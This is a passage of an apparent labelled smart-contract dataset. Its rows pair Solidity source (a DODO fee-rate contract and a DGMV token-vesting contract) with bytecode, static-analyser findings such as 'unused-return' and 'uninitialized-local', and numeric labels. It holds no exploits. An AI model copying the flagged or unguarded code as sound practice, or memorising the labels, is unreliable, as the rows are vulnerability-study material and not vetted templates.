ffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e632535fae48306ab6cb5b7ad2aec70806ef102e3cdf86204387d0d07c9f0c6f64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 110 |
0xafb0e9b5e1443df85755e017f8acc1e9f1033874 | // File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2021 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/DODOFee/FeeRateDIP3Impl.sol
interface ICrowdPooling {
function _QUOTE_RESERVE_() external view returns (uint256);
function getShares(address user) external view returns (uint256);
}
interface IFee {
function getUserFee(address user) external view returns (uint256);
}
interface IQuota {
function getUserQuota(address user) external view returns (int);
}
interface IPool {
function version() external pure returns (string memory);
function _LP_FEE_RATE_() external view returns (uint256);
}
contract FeeRateDIP3Impl is InitializableOwnable {
using SafeMath for uint256;
// ============ Storage ============
uint256 public _LP_MT_RATIO_ = 25;
struct CPPoolInfo {
address quoteToken;
int globalQuota;
address feeAddr;
address quotaAddr;
}
mapping(address => CPPoolInfo) cpPools;
// ============ Ownable Functions ============
function addCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
CPPoolInfo memory cpPoolInfo = CPPoolInfo({
quoteToken: quoteToken,
feeAddr: feeAddr,
quotaAddr: quotaAddr,
globalQuota: globalQuota
});
cpPools[cpPool] = cpPoolInfo;
}
function setCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
cpPools[cpPool].quoteToken = quoteToken;
cpPools[cpPool].feeAddr = feeAddr;
cpPools[cpPool].quotaAddr = quotaAddr;
cpPools[cpPool].globalQuota = globalQuota;
}
function setLpMtRatio(uint256 newLpMtRatio) external onlyOwner {
_LP_MT_RATIO_ = newLpMtRatio;
}
// ============ View Functions ============
function getFeeRate(address pool, address user) external view returns (uint256) {
try IPool(pool).version() returns (string memory poolVersion) {
bytes32 hashPoolVersion = keccak256(abi.encodePacked(poolVersion));
if(hashPoolVersion == keccak256(abi.encodePacked("CP 1.0.0"))) {
CPPoolInfo memory cpPoolInfo = cpPools[pool];
address quoteToken = cpPoolInfo.quoteToken;
if(quoteToken == address(0)) {
return 0;
}else {
uint256 userInput = IERC20(quoteToken).balanceOf(pool).sub(ICrowdPooling(pool)._QUOTE_RESERVE_());
uint256 userStake = ICrowdPooling(pool).getShares(user);
address feeAddr = cpPoolInfo.feeAddr;
address quotaAddr = cpPoolInfo.quotaAddr;
int curQuota = cpPoolInfo.globalQuota;
if(quotaAddr != address(0))
curQuota = IQuota(quotaAddr).getUserQuota(user);
require(curQuota == -1 || (curQuota != -1 && int(userInput.add(userStake)) <= curQuota), "DODOFeeImpl: EXCEED_YOUR_QUOTA");
if(feeAddr == address(0)) {
return 0;
} else {
return IFee(feeAddr).getUserFee(user);
}
}
} else if(hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.2")) || hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.1"))) {
uint256 lpFeeRate = IPool(pool)._LP_FEE_RATE_();
uint256 mtFeeRate = lpFeeRate.mul(_LP_MT_RATIO_).div(100);
if(lpFeeRate.add(mtFeeRate) >= 10**18) {
return 0;
} else {
return mtFeeRate;
}
} else {
return 0;
}
} catch (bytes memory) {
return 0;
}
}
function getCPInfoByUser(address pool, address user) external view returns (bool isHaveCap, int curQuota, uint256 userFee) {
CPPoolInfo memory cpPoolInfo = cpPools[pool];
if(cpPoolInfo.quoteToken == address(0)) {
isHaveCap = false;
curQuota = -1;
userFee = 0;
}else {
address quotaAddr = cpPoolInfo.quotaAddr;
curQuota = cpPoolInfo.globalQuota;
if(quotaAddr != address(0))
curQuota = IQuota(quotaAddr).getUserQuota(user);
if(curQuota == -1) {
isHaveCap = false;
}else {
isHaveCap = true;
uint256 userStake = ICrowdPooling(pool).getShares(user);
curQuota = int(uint256(curQuota).sub(userStake));
}
address feeAddr = cpPoolInfo.feeAddr;
if(feeAddr == address(0)) {
userFee = 0;
} else {
userFee = IFee(feeAddr).getUserFee(user);
}
}
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638456db15116100715780638456db151461010f578063848cc30314610117578063a1e281de14610137578063b1efb8f41461014a578063f2fde38b14610152578063fae783d814610165576100a9565b80630d009297146100ae57806316048bc4146100c357806344c19402146100e15780634e71e0c8146100f45780635454b842146100fc575b600080fd5b6100c16100bc366004610dba565b610187565b005b6100cb6101f0565b6040516100d89190610f8f565b60405180910390f35b6100c16100ef366004610e09565b6101ff565b6100c1610283565b6100c161010a366004610e09565b610311565b6100cb6103cd565b61012a610125366004610dd5565b6103dc565b6040516100d891906110f7565b6100c1610145366004610f1d565b61099f565b61012a6109ce565b6100c1610160366004610dba565b6109d4565b610178610173366004610dd5565b610a59565b6040516100d893929190610fa3565b600154600160a01b900460ff16156101ba5760405162461bcd60e51b81526004016101b19061102d565b60405180910390fd5b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b6000546001600160a01b031633146102295760405162461bcd60e51b81526004016101b19061108e565b6001600160a01b03948516600090815260036020819052604090912080549587166001600160a01b031996871617815560028101805494881694871694909417909355820180549190951693169290921790925560010155565b6001546001600160a01b031633146102ad5760405162461bcd60e51b81526004016101b190610fbb565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461033b5760405162461bcd60e51b81526004016101b19061108e565b610343610d7c565b50604080516080810182526001600160a01b039586168152602080820195865293861681830190815292861660608201908152968616600090815260039485905291909120905181549086166001600160a01b0319918216178255935160018201559051600282018054918616918516919091179055935193018054939092169216919091179055565b6001546001600160a01b031681565b6000826001600160a01b03166354fd4d506040518163ffffffff1660e01b815260040160006040518083038186803b15801561041757600080fd5b505afa92505050801561044c57506040513d6000823e601f3d908101601f191682016040526104499190810190610e82565b60015b61048a573d80801561047a576040519150601f19603f3d011682016040523d82523d6000602084013e61047f565b606091505b506000915050610999565b60008160405160200161049d9190610f35565b6040516020818303038152906040528051906020012090506040516020016104c490610f66565b60405160208183030381529060405280519060200120811415610863576104e9610d7c565b506001600160a01b038086166000908152600360208181526040928390208351608081018552815486168082526001830154938201939093526002820154861694810194909452909101549092166060820152908061054f576000945050505050610999565b600061064d886001600160a01b031663bbf5ce786040518163ffffffff1660e01b815260040160206040518083038186803b15801561058d57600080fd5b505afa1580156105a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c59190610e6a565b6040516370a0823160e01b81526001600160a01b038516906370a08231906105f1908d90600401610f8f565b60206040518083038186803b15801561060957600080fd5b505afa15801561061d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106419190610e6a565b9063ffffffff610cbc16565b90506000886001600160a01b031663f04da65b896040518263ffffffff1660e01b815260040161067d9190610f8f565b60206040518083038186803b15801561069557600080fd5b505afa1580156106a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cd9190610e6a565b60408501516060860151602087015192935090916001600160a01b0382161561076f576040516398a299e560e01b81526001600160a01b038316906398a299e59061071c908e90600401610f8f565b60206040518083038186803b15801561073457600080fd5b505afa158015610748573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076c9190610e6a565b90505b80600019148061079b5750806000191415801561079b575080610798868663ffffffff610ce416565b13155b6107b75760405162461bcd60e51b81526004016101b190611057565b6001600160a01b0383166107d75760009950505050505050505050610999565b60405163060f58c360e01b81526001600160a01b0384169063060f58c390610803908e90600401610f8f565b60206040518083038186803b15801561081b57600080fd5b505afa15801561082f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108539190610e6a565b9950505050505050505050610999565b60405160200161087290610f51565b604051602081830303815290604052805190602001208114806108b8575060405160200161089f90610f7a565b6040516020818303038152906040528051906020012081145b15610992576000856001600160a01b031663ab44a7a36040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190610e6a565b9050600061095a606461094e60025485610d1090919063ffffffff16565b9063ffffffff610d4a16565b9050670de0b6b3a7640000610975838363ffffffff610ce416565b10610987576000945050505050610999565b935061099992505050565b6000925050505b92915050565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016101b19061108e565b600255565b60025481565b6000546001600160a01b031633146109fe5760405162461bcd60e51b81526004016101b19061108e565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000610a66610d7c565b506001600160a01b03808616600090815260036020818152604092839020835160808101855281548616808252600183015493820193909352600282015486169481019490945290910154909216606082015290610ad05760009350600019925060009150610cb4565b6060810151602082015193506001600160a01b03811615610b6a576040516398a299e560e01b81526001600160a01b038216906398a299e590610b17908990600401610f8f565b60206040518083038186803b158015610b2f57600080fd5b505afa158015610b43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b679190610e6a565b93505b836000191415610b7d5760009450610c16565b60405163f04da65b60e01b8152600195506000906001600160a01b0389169063f04da65b90610bb0908a90600401610f8f565b60206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c009190610e6a565b9050610c12858263ffffffff610cbc16565b9450505b60408201516001600160a01b038116610c325760009350610cb1565b60405163060f58c360e01b81526001600160a01b0382169063060f58c390610c5e908a90600401610f8f565b60206040518083038186803b158015610c7657600080fd5b505afa158015610c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cae9190610e6a565b93505b50505b509250925092565b600082821115610cde5760405162461bcd60e51b81526004016101b19061100a565b50900390565b600082820183811015610d095760405162461bcd60e51b81526004016101b1906110b1565b9392505050565b600082610d1f57506000610999565b82820282848281610d2c57fe5b0414610d095760405162461bcd60e51b81526004016101b1906110d4565b6000808211610d6b5760405162461bcd60e51b81526004016101b190610fe2565b818381610d7457fe5b049392505050565b60408051608081018252600080825260208201819052918101829052606081019190915290565b80356001600160a01b038116811461099957600080fd5b600060208284031215610dcb578081fd5b610d098383610da3565b60008060408385031215610de7578081fd5b610df18484610da3565b9150610e008460208501610da3565b90509250929050565b600080600080600060a08688031215610e20578081fd5b610e2a8787610da3565b9450610e398760208801610da3565b935060408601359250610e4f8760608801610da3565b9150610e5e8760808801610da3565b90509295509295909350565b600060208284031215610e7b578081fd5b5051919050565b600060208284031215610e93578081fd5b815167ffffffffffffffff80821115610eaa578283fd5b81840185601f820112610ebb578384fd5b8051925081831115610ecb578384fd5b604051601f8401601f191681016020018381118282101715610eeb578586fd5b604052838152818401602001871015610f02578485fd5b610f13846020830160208501611100565b9695505050505050565b600060208284031215610f2e578081fd5b5035919050565b60008251610f47818460208701611100565b9190910192915050565b68222b2690189718171960b91b815260090190565b670435020312e302e360c41b815260080190565b6844535020312e302e3160b81b815260090190565b6001600160a01b0391909116815260200190565b92151583526020830191909152604082015260600190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252601e908201527f444f444f466565496d706c3a204558434545445f594f55525f51554f54410000604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b90815260200190565b60005b8381101561111b578181015183820152602001611103565b8381111561112a576000848401525b5050505056fea26469706673582212204a0f0d8c6d2493edade7520ec2055f20a5d51c46d4e0597d3bcdc2073d8fdd5164736f6c63430006090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 111 |
0x4bed650590b56e9385469699f855accdfa0dcae4 | /**
*Submitted for verification at Etherscan.io on 2022-02-17
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title interface of ERC 20 token
*
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
abstract contract Ownable is Context {
address private _owner;
address private _newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Propose the new Owner of the smart contract
*/
function proposeOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_newOwner = newOwner;
}
/**
* @dev Accept the ownership of the smart contract as a new Owner
*/
function acceptOwnership() public {
require(msg.sender == _newOwner, "Ownable: caller is not the new owner");
require(_owner != address(0), "Ownable: ownership is renounched already");
emit OwnershipTransferred(_owner, _newOwner);
_owner = _newOwner;
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract DGMVTokenVesting is Ownable{
using SafeMath for uint256;
address public immutable DGMV_TOKEN; // Contract Address of DGMV Token
struct VestedToken{
uint256 cliff;
uint256 start;
uint256 duration;
uint256 releasedToken;
uint256 totalToken;
bool revoked;
}
mapping (address => VestedToken) public vestedUser;
event TokenReleased(address indexed account, uint256 amount);
event VestingRevoked(address indexed account);
constructor (address dgmv_token){
require(dgmv_token != address(0));
DGMV_TOKEN = dgmv_token;
}
/**
* @dev this will set the beneficiary with vesting
* parameters provided
* @param account address of the beneficiary for vesting
* @param amount totalToken to be vested
* @param cliff In seconds of one period in vesting
* @param duration In seconds of total vesting
* @param startAt UNIX timestamp in seconds from where vesting will start
*/
function setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt ) external returns(bool){
VestedToken storage vested = vestedUser[account];
if(vested.start > 0){
require(vested.revoked);
uint unclaimedTokens = _vestedAmount(account).sub(vested.releasedToken);
require(unclaimedTokens == 0);
}
IERC20(DGMV_TOKEN).transferFrom(_msgSender(), address(this) ,amount);
_setVesting(account, amount, cliff, duration, startAt);
return true;
}
/**
* @dev Calculates the amount that has already vested.
* @param account address of the user
*/
function vestedToken(address account) external view returns (uint256) {
return _vestedAmount(account);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param account address of user
*/
function releasableToken(address account) external view returns (uint256) {
return _vestedAmount(account).sub(vestedUser[account].releasedToken);
}
/**
* @dev Internal function to set default vesting parameters
* @param account address of the beneficiary for vesting
* @param amount totalToken to be vested
* @param cliff In seconds of one period in vestin
* @param duration In seconds of total vesting duration
* @param startAt UNIX timestamp in seconds from where vesting will start
*
*/
function _setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) internal {
require(account!=address(0));
require(startAt >= block.timestamp);
require(cliff<=duration);
VestedToken storage vested = vestedUser[account];
vested.cliff = cliff;
vested.start = startAt;
vested.duration = duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = false;
}
/**
* @notice Transfers vested tokens to beneficiary.
* anyone can release their token
*/
function releaseMyToken() external returns(bool) {
releaseToken(msg.sender);
return true;
}
/**
* @notice Transfers vested tokens to the given account.
* @param account address of the vested user
*/
function releaseToken(address account) public {
require(account != address(0));
VestedToken storage vested = vestedUser[account];
uint256 unreleasedToken = _releasableAmount(account); // total releasable token currently
require(unreleasedToken>0);
vested.releasedToken = vested.releasedToken.add(unreleasedToken);
IERC20(DGMV_TOKEN).transfer(account,unreleasedToken);
emit TokenReleased(account, unreleasedToken);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param account address of user
*/
function _releasableAmount(address account) internal view returns (uint256) {
return _vestedAmount(account).sub(vestedUser[account].releasedToken);
}
/**
* @dev Calculates the amount that has already vested.
* @param account address of the user
*/
function _vestedAmount(address account) internal view returns (uint256) {
VestedToken storage vested = vestedUser[account];
uint256 totalToken = vested.totalToken;
if(block.timestamp < vested.start.add(vested.cliff)){
return 0;
}else if(block.timestamp >= vested.start.add(vested.duration) || vested.revoked){
return totalToken;
}else{
uint256 numberOfPeriods = (block.timestamp.sub(vested.start)).div(vested.cliff);
return totalToken.mul(numberOfPeriods.mul(vested.cliff)).div(vested.duration);
}
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param account address in which the vesting is revoked
*/
function revoke(address account) external onlyOwner returns(bool) {
VestedToken storage vested = vestedUser[account];
require(!vested.revoked);
uint256 balance = vested.totalToken;
uint256 vestedAmount = _vestedAmount(account);
uint256 refund = balance.sub(vestedAmount);
require(refund > 0);
vested.revoked = true;
vested.totalToken = vestedAmount;
IERC20(DGMV_TOKEN).transfer(owner(), refund);
emit VestingRevoked(account);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806379ba50971161007157806379ba50971461018d5780637e851e13146101975780638195ed24146101b557806386cb9498146101ea5780638da5cb5b1461021a578063e545f94114610238576100b4565b80631eda4cf4146100b95780632a2eddde146100d75780633cfb4dcf14610107578063710bf32214610137578063715018a61461015357806374a8f1031461015d575b600080fd5b6100c1610254565b6040516100ce919061156f565b60405180910390f35b6100f160048036038101906100ec919061120a565b610278565b6040516100fe91906115ea565b60405180910390f35b610121600480360381019061011c91906111e1565b6103e8565b60405161012e9190611705565b60405180910390f35b610151600480360381019061014c91906111e1565b61044e565b005b61015b61057e565b005b610177600480360381019061017291906111e1565b610606565b60405161018491906115ea565b60405180910390f35b610195610848565b005b61019f610a68565b6040516101ac91906115ea565b60405180910390f35b6101cf60048036038101906101ca91906111e1565b610a7a565b6040516101e196959493929190611720565b60405180910390f35b61020460048036038101906101ff91906111e1565b610ac3565b6040516102119190611705565b60405180910390f35b610222610ad5565b60405161022f919061156f565b60405180910390f35b610252600480360381019061024d91906111e1565b610afe565b005b7f0000000000000000000000008eedefe828a0f16c8fc80e46a87bc0f1de2d960c81565b600080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600